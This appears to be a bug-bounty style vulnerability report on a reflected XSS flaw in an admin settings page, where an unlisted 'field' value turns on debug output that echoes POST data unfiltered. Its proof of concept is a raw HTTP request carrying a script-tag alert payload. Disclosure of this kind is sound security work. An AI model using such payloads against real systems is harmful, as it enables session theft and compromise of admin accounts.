✍️ Description

Reflected XSS on any POST parameters with a correct token on /admin/settings.php
When field is not in the defined list , $debug value is set to true , and the $POST is dumped without filtering

🕵️‍♂️ Proof of Concept

1. Login as admin
2. Settings -> Flush log
3. replace field with XSS payload using burp

POST /admin/settings.php HTTP/1.1
Host: 192.168.159.138
Content-Length: 88
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.159.138
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.159.138/admin/settings.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=***
Connection: close

field=<script>alert(1)</script>&token=***

💥 Impact

Reflected XSS on field POST parameters with a correct token and not-exist field value